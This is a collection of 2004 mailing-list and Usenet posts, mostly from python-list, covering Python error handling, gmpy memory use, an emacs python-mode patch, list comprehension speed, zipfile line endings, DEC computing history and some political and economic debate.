	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<41431db5$0$6923$61fed72c@news.rcn.com>
	<vqgbk05ikqc0f95pnuk0i116e9vatrrdnj@4ax.com>
Message-ID: <4146d959$0$2665$61fed72c@news.rcn.com>

In article <vqgbk05ikqc0f95pnuk0i116e9vatrrdnj at 4ax.com>,
   Alan Balmer <albalmer at att.net> wrote:
>On Sat, 11 Sep 04 14:24:09 GMT, jmfbahciv at aol.com wrote:
>
>> Now Congress is shifting towards giving them
>>more leeway.  I sure as hell hope they remember Hoover and his
>>abuses of power before they suggest putting one guy over it all.
>
>The suggestion has already been made, and President Bush is apparently
>going along with it, but refusing to give the position the unlimited
>power its proponents want. This gives the disloyal opposition grounds
>to claim he's not really serious about terrorism.

Reporting this has been terrible in this corner of the map.  I also
had understood that somebody was insisting that the position be
outside the cabinet.  I don't like this because it will ensure
a long-term head who will gradually get corrupt as Hooever did.
I also understand that making this a cabinet position will
"politicize" it but there isn't as much chance for having 100%
corruption.  

I also need a lesson on policizing.  Can't have a head of the
CIA be an ex-Congresscritter because that would politicize the
department.  But the CIA has been hogtied with politicizations
since Nixon.

/BAH


Subtract a hundred and four for e-mail.


From oliphant at ee.byu.edu  Mon Sep 13 13:21:23 2004
From: oliphant at ee.byu.edu (Travis E. Oliphant)
Date: Mon, 13 Sep 2004 11:21:23 -0600
Subject: Conference presentations
Message-ID: <4145D713.4080009@ee.byu.edu>


Hi all,

The SciPy 2004 conference was a great success.  I personally enjoyed 
seeing all attendees and finding out about the activity that has been 
occurring with Python and Science.

As promised, all of the presentations that were submitted to 
abstracts at scipy.org are now available on-line under the 
conference-schedule page.

The link is

http://www.scipy.org/wikis/scipy04/ConferenceSchedule

If anyone who hasn't submitted their presentation would like to, you 
still can.  As I was only able to attend the first day, I cannot comment 
on the entire conference.  However, what I saw was very encouraging.  
There continues to be a great amount of work being done in using Python 
for Scientific Computing and the remaining problems seems to be how to 
get the word out and increase the user base.

Many thanks are due to the presenters and the conference sponsors:

*The National Biomedical Computation Resource* <http://nbcr.sdsc.edu> 
(NBCR, UCSD, San Diego, CA)
The mission of the National Biomedical Computation Resource at the 
University of California San Diego and partners at The Scripps Research 
Institute and Washington University is to conduct, catalyze, and advance 
biomedical research by harnessing, developing and deploying forefront 
computational, information, and grid technologies. NBCR is supported by 
_National Institutes of Health (NIH) _ through a _National Center for 
Research Resources_ centers grant (P 41 RR08605).

*The Center for Advanced Computing Research* 
<http://www.cacr.caltech.edu/> (CACR, CalTech 
<http://www.scipy.org/wikis/scipy04/CalTech>, Pasadena, CA)
CACR is dedicated to the pursuit of excellence in the field of 
high-performance computing, communication, and data engineering. Major 
activities include carrying out large-scale scientific and engineering 
applications on parallel supercomputers and coordinating collaborative 
research projects on high-speed network technologies, distributed 
computing and database methodologies, and related topics. Our goal is to 
help further the state of the art in scientific computing.

*Enthought, Inc.* <http://www.enthought.com> (Austin, TX)
Enthought, Inc. provides business and scientific computing solutions 
through software development, consulting and training.


Best regards to all,

-Travis Oliphant
Brigham Young University
459 CB
Provo, UT 84602
oliphant.travis at ieee.org








From steve at holdenweb.com  Thu Sep 30 19:23:12 2004
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 30 Sep 2004 19:23:12 -0400
Subject: File handling: The easy and the hard way
In-Reply-To: <mailman.4141.1096557347.5135.python-list@python.org>
References: <pan.2004.09.30.13.56.48.18412@web.de>
	<mailman.4141.1096557347.5135.python-list@python.org>
Message-ID: <wD07d.1810$gk.15@okepread01>

Jeremy Jones wrote:

> Hans-Joachim Widmaier wrote:
> 
[...]
> 
>> Especially not when the error is not in the program itself, but rather
>> just a mistyped filename. (Most of my helper scripts that we use to
>> develop software handle files this way. And even my co-workers don't
>> recognize 'file or directory not found' for what it is.) End users are
>> entitled to error messages they can easily understand like "I could not
>> open 'blaah' because there is no such file".
> 
> So, you're saying that dumping a raw traceback like:
> IOError: [Errno 2] No such file or directory: '/foo/bar/bam'
> to a logfile is a no-no?  Instead, it should say:
> 
> I'm sorry sir, but an error occurred when trying to write to file 
> /foo/bar/bam because it wasn't there.
> 
A traceback is not an error message. When a non-programming user sees a 
fifteen-line stack trace with python statements and line numbers in it 
that's quite enough to stop most of them from even reading it to see if 
there's anything they understand at all.

> I think the traceback is perfectly understandable.  I think that even an 
> end-user would be able to comprehend that type of message.  Or, if you 
> get an IOError, is this not sufficient:
> IOError: [Errno 28] No space left on device
> ?
> 
Again, that's not a traceback. It's an error message.

> Chances are, end users aren't going to be particulary concerned with 
> exceptions you log - unless they've got a problem that they can't figure 
> out.  And if they've got a problem they can't figure out, you'd be 
> better off giving them as much information as you can give them, or 
> they'll come to you for help.  And when they do come to you for help, 
> you'd better make sure you've given yourself the most informatino you 
> can to solve the problem.  So logging a traceback is a great idea IMHO.  
> Now, in areas where you're dead sure that an exception is nothing to be 
> concerned with, don't bother.  So, a good approach may be: handle the 
> specific exceptions that you know may occur, let other unexpected (or 
> expected in worst case scenarios) exceptions filter up to a higher 
> level, log them there, and if need be, terminate program execution.
> 
This isn't about not terminating the program, it's about reporting the 
reasons in a manner acceptable to average users.

>> Graceful error handling is
>> even more important when a program isn't just run on a command line but
>> with a GUI.
>>  
>>
> Maybe so.  But if you hit an "Oh, crap, what do I do now?" exception, 
> you may want to throw up a dialog box with a traceback or something and 
> when the user clicks OK on it, terminate program execution.  That gives 
> them a chance to (unlikely) figure out what they can do to remedy the 
> situation, otherwise call for help.
> 
I'm all for LOGGING tracebacks. Indeed WingIDE is a beauty in this 
respect, since it's also prepared to send feedback to Wing if you ask it 
to, as is Mozilla and (nowadays) Internet Explorer.

Given this, there's little excuse for showing the traceback in the 
regular case, though I don't object to allowing users to look for it if 
they want.

>> Which means? Which means that all this convenient file handling that
>> Python offers really should not be used in programs you give away. When I
>> asked for a canonical file access pattern some months ago, this was the
>> result:
>> http://groups.google.com/groups?hl=de&lr=&ie=UTF-8&threadm=pan.2003.12.30.21.32.37.195763%40web.de&rnum=1&prev=/groups%3Fhl%3Dde%26lr%3D%26ie%3DUTF-8%26q%3Dfile%2Bpattern%2Bcanonical%26btnG%3DSuche%26meta%3D 
>>
>>
>> Now I have some programs that read and write several files at once. And
>> the reading and writing is done all over the place. If I really wanted to
>> do it "right", my once clear and readily understandable code turns into a
>> nightmare. This doesn't look like the language I love for its clarity and
>> expressivness any more. Python, being a very high level language, needs a
>> higher level file type, IMHO. This is, of course, much easier said than
>> done. And renown dimwits like me aren't expected to come up with 
>> solutions.
>> I've thought about subclassing file, but to me it looks like it wouldn't
>> help much. With all this try/except framing you need to insert a call
>> level anyway (wondering if this new decorator stuff might help?). The 
>> best
>> I've come up so far is a vague idea for an error callback (if there isn't
>> one, the well known exceptions might be raised) that gets called for
>> whatever error occured, like:
>>
>> class File:
>>    ...
>>    def write(self, data):
>>        while True:
>>            try:
>>                self._write(data)
>>            except IOError, e:
>>                if self.errorcallback:
>>                    ret, dat = self.errorcallback(self, F_WRITE, e, data)
>>                    if ret == F_RETURN:
>>                        return dat
>>                else:
>>                    raise
>>
>> The callback could then write a nice error message, abort the program,
>> maybe retry the operation (that's what the 'while True'-loop is for) or
>> return whatever value to the original caller. Although the callback
>> function will usually be more than a few lines, it can be reused. It can
>> even be packed into your own file-error-handling module, something the
>> original usage pattern can't.
>>  
>>
> Hmmm....interesting.  Shouldn't you put a break after your 
> self._write(data)?  This is probably not a bad way of going about 
> things, but what types of files are we talking about here?  Log files?  
> I think you're probably better off using the builtin logging and just 
> dump raw tracebacks in there.  Data files?  Then you've probaby got that 
> wrapped in code to write formatted data to the data file anyway in which 
> case, this type of specialized class is probably not a bad thing.  If 
> you're trying to write data to a data file, you don't want litter it 
> with error messages.  You want to log it and, maybe even unlink the data 
> file and do something special.
> 
>> If you still bear with me, you might as well sacrifice a few more seconds
>> and tell me what you think about my rant. Is everything just fine as 
>> it is
>> now? Or do I have a point? I always felt it most important to handle all
>> errors a program may encounter gracefully, and the easier this is to do,
>> the less likely it is a programmer will just sneak around the issue and
>> let the interpreter/run time system/operating system handle it. (And yes,
>> I'm guilty of not obeying it myself, as it can double or triple the time
>> needed to write the whole program; just because its so cumbersome.)
>>
>>  
>>
> I dunno - something just doesn't feel right here.  I kinda feel like 
> you're wanting to create an over-generalized solution.  Your File class 
> is interesting and may be a good start for a lot of general solutions 
> and having a callback mechanism helps specialize it, but....something 
> just doesn't sit totally right here with me.  This may work totally 
> perfectly and may be an excellent piece of code to handle all of your 
> file writing activities.  I dunno....
> 
> You're not going to be able to catch every exception - not meaningfully, 
> anyway.  You could do something like:
> 
> if __name__ == "__main__":
>    try:
>        main()
>    except Exception, e:
>        log(e)
> 
> But that isn't handling all errors....
> 
It's certainly catching all subclasses of Exception, though, which in 
modern Python should be everything not handled inside (string exceptions 
are a throwback, retained for compatibility reasons). As to whether they 
are bing "handled", I guess that's a matter of opinion.

> Production quality code doesn't necessarily mean never terminating 
> because of an exception.  You want to reduce the frequency of program 
> termination due to exceptions.  I can appreciate your desire to make 
> sure you've got good solid software, and not encumber the end user with 
> ever little exception you hit, but sometimes it's OK to log/show 
> exceptions.  Like I said earlier, when you hit an exception, you hit it 
> for a reason.  Do your best to try to figure out what that reason is, 
> deal with it, figure out the most reasonable thing to do with _that_ 
> exception, and move on.  Sometimes that'll mean throwing a traceback to 
> a log file, sometimes it will mean handling it gracefully and "prettying 
> up" the message for logging or display to the end user, sometimes it 
> will mean totally ignoring it, other times you may need to just stop the 
> program.  All of these resolutions can be part of a production quality 
> piece of software.  The discerning programmer has to decide which 
> solution is appropriate for which situation.  Like Steve Holden 
> mentioned, it's really good that you're concerned with such things, but 
> make sure you apply common sense to each scenario.
> 
>> Waiting-for-you-to-jump-on-me'ly yours,
>> Hans-Joachim
>>  
>>
> Hope I didn't jump too hard.
> 
Possibly.

> Jeremy Jones

regards
  Steve


From aleaxit at yahoo.com  Mon Sep  6 03:24:03 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 6 Sep 2004 09:24:03 +0200
Subject: Lager'd Statistics on language migration
References: <2ae25c6b.0409050132.4ce24330@posting.google.com>
Message-ID: <1gjoo62.k6qgc44zbkjgN%aleaxit@yahoo.com>

Paddy McCarthy <paddy3118 at netscape.net> wrote:

> Frustrated at being prevented from using Python at work I went 
> gunning for Perl.
> 
> Time to roll out some useless Google statistics to make me feel 
> better
> 
> Google Phrase                         count
> -------------                         -----
> "prefer perl to python"                       26
> "prefers perl to python"               0
> "python to perl migration"             0
> ==                                    ==
> Perl over Python Total:                       26
> 
> "prefer python to perl"                        51
> "prefers python to perl"              154
> "perl to python migration"            785
> ==                                    ===
> Python over Perl Total:                       980
> 
> These statistics have meaning. (It took my mind off this can
> of UK Amstel for a start).

Cool!  So, I double checked:

"prefer python to ruby"         21
"prefers python to ruby"                0
"ruby to python migration"              0

"prefer ruby to python"         260
"prefers ruby to python"                0
"python to ruby migration"              0

Judging on the "prefer" only, Ruby > Python > Perl.  Check:

"prefer ruby to perl"                   5
"prefer perl to ruby"                   0

Still OK, I guess.  So, my working hypothesis would be: people tend to
post about preferring a newer / less widespread language over an older /
more widespread one, more frequently than they post about the reverse
preference.  Why people compare Python with either Ruby or Perl MUCH
more often than Perl and Ruby with each other, I dunno...


Alex


From mensanator at aol.com  Wed Sep  1 13:00:40 2004
From: mensanator at aol.com (mensanator at aol.com)
Date: 1 Sep 2004 10:00:40 -0700
Subject: about presicion
In-Reply-To: <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com>
Message-ID: <ch4v7o$p7h@odak26.prod.google.com>


Alex Martelli wrote:
> mensanator at aol.com <mensanator at aol.com> wrote:
>
> > > > Were you aware that there is apparently a memory leak in the
> > > > gmpy.divm() function? Calling it several million time caused my
> > > > computer to run out of virtual memeory. Luckily, I was able to
> > > > work around it using the gmpy.invert() which didn't consume any
> > > > memory regardless of how many times it was called.
> > >
> > > No, I was not aware of that -- I'll look into it, thanks.
>
> I'm still not aware of any bug in gmpy because I can't reproduce your
> observation (on MacOSX 10.3.5, Python 2.3).  Try this script...:
>
> import gmpy
>
> tot = 0
> while True:
>     n = input('How many more divm: ')
>     if n<=0: break
>     print '%d more...' % n,
>     for i in xrange(n): gmpy.divm(3,7,9)
>     tot += n
>     print '...total %d' % tot
>
> I've used it to perform millions of divm calls and I monitor its
virtual
> memory usage from the outside, and absolutely no leak shows up.
Maybe
> it's in the Windows version of the underlying GMP library...?  Can
any
> other gmpy user try this out and report...?  Thanks!
>
>
> Alex


I tracked your program with Windows task manager and it show a nice
flat memory useage trace. Memory usage started at 185244K and peaked
at 185366K for 10000000 iterations.

Try using larger numbers:

import gmpy


tot = 0
while True:
n = input('How many more divm: ')
if n<=0: break
print '%d more...' % n,
for i in xrange(n): gmpy.divm(81287570543,8589934592,3486784401)
tot += n
print '...total %d' % tot


"""

memory usage trace rocketed upwards at a 45 degree angle.

C:\Python23\user\the_full_monty>python gmpytest.py
How many more divm: 10000000
10000000 more...Fatal Python error: mp_allocate failure
abnormal program termination

peak Commit Charge (K): 792556

"""



From kaba at epost.de  Wed Sep 29 15:16:13 2004
From: kaba at epost.de (kaba)
Date: Wed, 29 Sep 2004 21:16:13 +0200
Subject: emacs python-mode bug #1021885
In-Reply-To: <cj8ggc$ihq$1@rzcomm2.rz.tu-bs.de>
References: <cj8ggc$ihq$1@rzcomm2.rz.tu-bs.de>
Message-ID: <cjf1lj$f66$1@lucy.ping.de>

Marcio Rosa da Silva wrote:

> Hi!
> 
> I am having some problem with python-emacs mode. I found a bug related 
> to it at sf.net:
> 
> bug #1021885 shell gets set to 'cpython':
> 
> http://sourceforge.net/tracker/?group_id=86916&atid=581349&func=detail&aid=1021885 
> 
> 
> The problem is that when I try to run the script using C-c C-c, I get 
> the following message:
> 
> "Wrong type argument: sequencep, cpython"
> 
> My question is if there is anyone that found a workaround to this problem?
> 
> Thanks!
> 
> Marcio

Hi Marcio,
the bug is in 'py-execute-region'
the patch below should fix it.

***************
*** 1679,1686 ****
   	(insert-buffer-substring cur start end)
   	;; Set the shell either to the #! line command, or to the
   	;; py-which-shell buffer local variable.
! 	(setq shell (or (py-choose-shell-by-shebang)
! 			(py-choose-shell-by-import)
   			py-which-shell))))
       (cond
        ;; always run the code in its own asynchronous subprocess
--- 1679,1686 ----
   	(insert-buffer-substring cur start end)
   	;; Set the shell either to the #! line command, or to the
   	;; py-which-shell buffer local variable.
! 	(setq shell (or (car (rassoc (quote (py-choose-shell-by-shebang)) 
py-shell-alist))
! 			(car (rassoc (quote (py-choose-shell-by-import)) py-shell-alist))
   			py-which-shell))))
       (cond
        ;; always run the code in its own asynchronous subprocess



From reinhold-birkenfeld-nospam at wolke7.net  Sat Sep 18 11:13:43 2004
From: reinhold-birkenfeld-nospam at wolke7.net (Reinhold Birkenfeld)
Date: Sat, 18 Sep 2004 17:13:43 +0200
Subject: sys.setdefaultencoding(name)
In-Reply-To: <Xns9568A73F4BFF9cpl19ghumspamgourmet@195.20.224.116>
References: <Xns9568641F5C869askariaddressNonVali@207.35.177.135>
	<Xns9568A73F4BFF9cpl19ghumspamgourmet@195.20.224.116>
Message-ID: <2r31l7F15anc9U2@uni-berlin.de>

Harald Massa wrote:
> Askari,
> 
>> When I use the method ".get"  from a widget (Text, Entry), the string 
>> returned is "fucked"...
> 
> That must be a virus or something. Encoding issues normally provide garbled 
> strings, but not the word "fucked". Somebody is playing jokes with you.

I doubt that the quotes in the OP indicate a literal string.

Reinhold

-- 
[Windows ist wie] die Bahn: Man muss sich um nichts kuemmern, zahlt fuer
jede Kleinigkeit einen Aufpreis, der Service ist mies, Fremde koennen
jederzeit einsteigen, es ist unflexibel und zu allen anderen Verkehrs-
mitteln inkompatibel.               -- Florian Diesch in dcoulm


From claird at lairds.us  Thu Sep 23 11:08:06 2004
From: claird at lairds.us (Cameron Laird)
Date: Thu, 23 Sep 2004 15:08:06 GMT
Subject: Concurrency models and implementation concerns (was: socket
	function that loops AND returns something)
References: <ciatjj$olo$1@solaris.cc.vt.edu>
	<tpc2d.16169$QJ3.2672@newssvr21.news.prodigy.com>
	<k29o12-46u.ln1@lairds.us>
	<C9j2d.16227$QJ3.9153@newssvr21.news.prodigy.com>
Message-ID: <os3b22-3lj.ln1@lairds.us>

In article <C9j2d.16227$QJ3.9153 at newssvr21.news.prodigy.com>,
Bryan Olson  <fakeaddress at nowhere.org> wrote:
			.
			.
			.
> > Do you intend that readers believe that it "is perfectly
> > reasonable" to design in terms of a single Python process
> > which manages up to "a thousand simultaneous *Python*
> > threads"?
>
>Yes.
Thank you for this and your other unambiguous clarifications.

My daily world includes several Win* boxes running on 100-200 MHz
*86 processors, with memory ranging from 32 Mb up.  Perhaps I 
should make time during the next month to write and run a few
benchmarks applicable to my needs; I confess I haven't done so for
the case of a thousand simultaneous Python threads.  
			.
			.
			.


From tjreedy at udel.edu  Mon Sep 20 23:00:40 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 20 Sep 2004 23:00:40 -0400
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org><m3vfeg69xp.fsf@g2ctech.com>
	<2qq5adF133c5kU1@uni-berlin.de><m3isaf1xki.fsf@g2ctech.com><1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com><m3pt4nwa84.fsf@g2ctech.com><1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com><mailman.3388.1095291463.5135.python-list@python.org><1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com><IWf2d.33080$D7.2368@news-server.bigpond.net.au><1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com><cicm3q$a6g$1@sea.gmane.org>
	<1095378815.31957.166.camel@devilbox.devilnet.internal>
Message-ID: <cio5gu$2nk$1@sea.gmane.org>


"Cliff Wells" <clifford.wells at comcast.net> wrote in message 
news:1095378815.31957.166.camel at devilbox.devilnet.internal...
> On Thu, 2004-09-16 at 14:30 -0400, Terry Reedy wrote:
>> "Alex Martelli" <aleaxit at yahoo.com> wrote in message
>> > So I was wrong -- it's happening all right, but tends to be disguised
>> > (perhaps for marketing reasons).  Thanks for the info!
>>
>> Also for political reasons.  The US has reactionaries, left and right, 
>> who
>> reject the idea that all people have a right to participate in the 
>> global
>> information economy.

I intentionally restricted myself to one sentence, with one opinion word --  
'reactionaries', on a topic people have written books about.  However ...

> The main problem a lot of people (myself included) have with the so-
> called "global economy"

To me, the global information economy is as real as the global Python 
community.

> is that it mostly benefits the US employer who
> can pay wages that are far below cost of living inside the US.

To the extent that all US employers producing similar products have equal 
access to such cost savings, the long-term competitive benefit should tend 
toward zero and most benefit should go to consumers and non-US workers.  It 
was Indian software entrepreneurs who pursued US businesspeople more than 
the reverse.

> I'm certain there are few people who begrudge others getting work,

I did not try to quantify in my original statement.  However, it takes more 
than a few people to get myriads of job protection laws passed in countries 
around the globe.  Dislike of competition for 'my job' is pretty universal.

[snip]

> let's ...have laws that require employers to pay prevailing wage

The prototype 'prevailing wage' law in the US, the 1930s Davis-Bacon Act, 
was passed and signed by begruding people.  It had the explicit purpose 
(and effect) of excluding dark-skinned Americans from participating in the 
American construction industry, especially in northern states, by making it 
unprofitable to hire them.  Its negative effects continue today.

> (based on the *employer's* country of origin).

Programmers in developing countries generally are employed by local 
employers who pay them more than the previous local prevailing wage.  In 
terms of real economic goods -- food, clothing, housing, internet service, 
and so on -- their pay may be comparable to that of programmers in the 
'industrial' nations.

Their apparent cheapness per comparable output is largely a function of 
exchange rates at least partly distorted by centuries of government force. 
I expect such distortions will lessen as communication makes them less 
tenable.  I also expect increasing numbers of US knowledge/information 
workers with portable skills to take advantage of the distortions while 
they last.

Terry J. Reedy







From aisaac at american.edu  Thu Sep 23 16:27:32 2004
From: aisaac at american.edu (Alan G Isaac)
Date: Thu, 23 Sep 2004 16:27:32 -0400
Subject: decompress zipped files on Windows
Message-ID: <10l6ca6lb99pmde@corp.supernews.com>

I have an .zip archive of compressed files that
I want to decompress.  Using the zipfile module,
I tried
z=zipfile.ZipFile(local.zip)
for zname in z.namelist():
        localtxtfile='c:/puthere/'+zname
        f=open(localtxtfile,'w')
        f.write(z.read(zname))
        f.close

The original files were all plain text,
created on an unspecified platform.
The files I decompressed this way contain
*two successive* carriage returns
(ASCII 13) at the end of each line.
If I change 'w' to 'wb' I get only one.

Why is this extra carriage return added?
My original guess was the using 'w' instead
of 'wb' would be the right action, since the
platform for the original files is unspecified.

Thanks,
Alan Isaac




From jmfbahciv at aol.com  Wed Sep  1 08:07:35 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Wed, 01 Sep 04 12:07:35 GMT
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<du7k6vfnvx9.fsf@amadeus.cc.tut.fi>
	<4134a207$0$65568$a1866201@newsreader.visi.com>
	<j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
Message-ID: <4135ce4a$0$19726$61fed72c@news.rcn.com>

In article <j-OdnS-Q8aADqKjcRVn-tQ at speakeasy.net>,
   rpw3 at rpw3.org (Rob Warnock) wrote:
>Craig A. Finseth  <news at finseth.com> wrote:
>+---------------
>| Ville Vainio  <ville at spammers.com> wrote:
>| >... and / as path separator still screws up most of their cmd line
>| >programs (which think / is for command line options).
>| >Microsoft probably thought avoiding compatibility is a good idea, and
>| >have only lately started to have some regrets...
>| 
>| Wrong.  The / was chosen as the command line option separator because
>| whoever wrote MSDOS was looking to CP/M, who modelled their commands
>| after a PDP-11 operating system (RT-11?).
>+---------------
>
>Which, like PS/8 & OS-8 [and "DECsystem-8" from Geordia Tech] for the
>PDP-8, modelled the command syntax after that of the venerable PDP-10!!

You'ld probably get further about who's on first by knowing that
the guy who did OS-8 also did TOPS-10 monitor work.  It was not
unusual for one guy to work on all architectures within DEC.
If he liked to use TECO, he'd carry it over to the next project
and write it up in that computer's machine language.  An even
easier way to transfer functionality back then was to use
a cross-assembler.  For instance, I'd enter a programmer's PDP-11
code and put it into a file on the TOPS-10 system.  Then after
a fast assembler check with the cross-assembler of the coder's
choice, I would either punch the ASCII out of papertape or
run FILEX which would transfer the PDP-10 bits onto the DECtape
in PDP-11 format.

That's how code migrated in the olden days.
>
>+---------------
>| Consider the "PIP" command.
>+---------------
>
>Indeed. And COPY & DEL & DIR, etc.

Well, not quite :-).  COPY and DELETE called PIP via a CCL
command.  DIRECT became its own program.  To do a directory
using PIP required a switch and wasn't a monitor level 
command.

/BAH

Subtract a hundred and four for e-mail.


From aleaxit at yahoo.com  Thu Sep 30 04:48:37 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 30 Sep 2004 10:48:37 +0200
Subject: List comprehensions performance
References: <278de0e.0409291441.4ef0a859@posting.google.com>
Message-ID: <1gkx9f9.15ckambh0kc5tN%aleaxit@yahoo.com>

Neuruss <luismg at gmx.net> wrote:
   ...
> What I'd like to know is if using list comprehensions would give me a
> performance advantage over traditional for loops or not.

Probably, a little, depending on the exact Python release you're using,
and on exactly what you're doing -- as others have suggested, timeit.py
can help.  Don't expect _dramatic_ differences.

> I'm getting fond of list comprehensions, but I wonder if it's wise to
> abuse of them...

No, by definition of "abuse".  Use list comprehensions to make lists,
not instead of perfectly normal loops.  Consider for example:

kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' 'for x in
xrange(999): f()'
1000 loops, best of 3: 1.25e+03 usec per loop
kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' 'for x in
xrange(999): f()'
1000 loops, best of 3: 1.29e+03 usec per loop
kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' '[f() for x in
xrange(999)]'
1000 loops, best of 3: 1.45e+03 usec per loop
kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' '[f() for x in
xrange(999)]'
1000 loops, best of 3: 1.44e+03 usec per loop

So, in this case, abusing list comprehensions slows you down by over
10%.

More generally, _who cares_ about this kind of speedups?!  Premature
optimization is the root of all evil in programming.  Make your programs
clear, simple, readable -- that's ALWAYS important!  So is using general
algorithms and data structures with good O() characteristics if the
input size is liable to grow a lot.  But squeezing out 10% or 20% here
or there is going to matter in a TINY minority of cases.  Don't distort
your coding for such purposes!


Alex


From steve at ferg.org  Wed Sep  1 08:32:18 2004
From: steve at ferg.org (Stephen Ferg)
Date: 1 Sep 2004 05:32:18 -0700
Subject: GUI Designer
References: <wU0Zc.9845$7i2.529166@news20.bellglobal.com>
Message-ID: <b16e4ef7.0409010432.5fc2b8b1@posting.google.com>

Look at PythonCard
http://pythoncard.sourceforge.net/


From rnd at onego.ru  Fri Sep 10 02:01:49 2004
From: rnd at onego.ru (Roman Suzi)
Date: Fri, 10 Sep 2004 10:01:49 +0400 (MSD)
Subject: Is it an error in email.Header?
In-Reply-To: <Pine.LNX.4.58.0409091423220.3599@suzi.com.onego.ru>
References: <Pine.LNX.4.58.0409091423220.3599@suzi.com.onego.ru>
Message-ID: <Pine.LNX.4.58.0409101000530.3599@suzi.com.onego.ru>


It seems that

nEy8k?= =?koi8-r?B??=
     ^
'=' is missing. But is it necessary? MUAs live without it fine...

Sincerely yours, Roman A.Suzi
-- 
 - Petrozavodsk - Karelia - Russia - mailto:rnd at onego.ru -

On Thu, 9 Sep 2004, Roman Suzi wrote:

>
> I was using Python module email.Header to decode headers and encountered
> problems with some of the headers. One example is given below:
>
> Python 2.3.4 (#1, May 27 2004, 15:48:35)
> [GCC 3.2.2 20030222 (Red Hat Linux 3.2.2-5)] on linux2
>
> >>> import email.Header
> >>> email.Header.decode_header('''=?koi8-r?B?Qm9va3MuUnUgLSDOz9fZyiDTwcrULCDOz9fZxSDTy8nEy8k?= =?koi8-r?B??=''')
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "/var/tmp/python2.3-2.3.4-root/usr/lib/python2.3/email/Header.py",
> line 113, in decode_header
> email.Errors.HeaderParseError
>
> While mailers decode Subject just fine... Is it a case of some
> standard deviation?
>
>
> Sincerely yours, Roman A.Suzi
> --
>  - Petrozavodsk - Karelia - Russia - mailto:rnd at onego.ru -
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From martin at v.loewis.de  Thu Sep  2 02:21:40 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 02 Sep 2004 08:21:40 +0200
Subject: compiling to python byte codes
In-Reply-To: <4136b2b5$1@news.unimelb.edu.au>
References: <4136b2b5$1@news.unimelb.edu.au>
Message-ID: <4136bbf3$0$197$9b622d9e@news.freenet.de>

Maurice LING wrote:
> I remembered reading a MSc thesis about compiling Perl to Java bytecodes 
> (as in java class files).

You don't have to look that far. Jython compiles Python code into Java
bytecode; IronPython compiles Python code into Microsoft intermediate
language.

> I'm wondering if 
> something of such had been attempted in python, as in compiling X 
> language into .pyc. 

The easiest way to create a .pyc file is to create a Python file,
and then compile that. There are various tools that compile X to
.pyc. For example, Fnorb compiles OMG IDL into .pyc files.

> I do not understand the schematics of .pyc files but 
> I assume that they are the so called python bytecode files.

That's correct.

> Or is there any documentation or books that is the python equivalent of 
> "Programming for the Java Virtual Machine" by Joshua Engel?

There is the dis module and its documentation. However, as I said, in
Python, you don't really *need* to create .pyc files directly, as
the Python compiler is always available through the compile() builtin
function. This is unlike Java or .NET, where the compiler is not
available in the JRE, or the .NET commercial framework.

Regards,
Martin


From peter at engcorp.com  Wed Sep 15 14:41:33 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 15 Sep 2004 14:41:33 -0400
Subject: Convert Dictionary to String, vice versa?
In-Reply-To: <As%1d.951$0i5.675@newsread3.news.pas.earthlink.net>
References: <As%1d.951$0i5.675@newsread3.news.pas.earthlink.net>
Message-ID: <c96dnSUP7IdCEdXcRVn-uA@powergate.ca>

Byron wrote:

> I am a newbie and would like to know if it is possible to convert a 
> string back to a dictionary?
> 
> For example, I can convert a dictionary to a string by doing this:
> 
>     >>> names = {"Candy" : 2.95, "Popcorn" : 4.95}
>     >>> strNames = str(names)
>     >>> print strNames
>     {'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002}

In this particular case, this works:

 >>> d = eval(strNames)
 >>> d
{'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002}

But be cautious using "exec" and "eval()", as they are
potential security risks -- primarily when passing them data
that comes from a user or has been made accessible to a user,
such as by persisting it.  I suspect the answer to "how?"
is in the FAQ.  If not, it's definitely in the list archives.

-Peter


From alf at merlin.fayauffre.org  Fri Sep 10 04:12:42 2004
From: alf at merlin.fayauffre.org (Alexandre Fayolle)
Date: Fri, 10 Sep 2004 08:12:42 +0000 (UTC)
Subject: Is except: ... pass bad style?
References: <pan.2004.09.09.16.26.16.985806@python.net>
Message-ID: <chrnlq$1i8s$1@biggoron.nerim.net>

Le 09-09-2004, marduk <marduk at python.net> a ?crit?:
> I commonly use code like this
>
> try:
>     # call optional method
>     myobj.method()
> except AttributeError:
>     # no biggie
>     pass
>
>
> Occasionally I use pylint, which is a good tool, but in the above

Good idea, and thanks. :-)

> snippet pylint will complain that 'Except doesn't do anything'.  True,
> but is that bad style?  I know there are other ways of doing it, but
> of all the other "obvious" ones, this appears the most straight
> forward.

I was the one who originally asked pylint to report this construct,
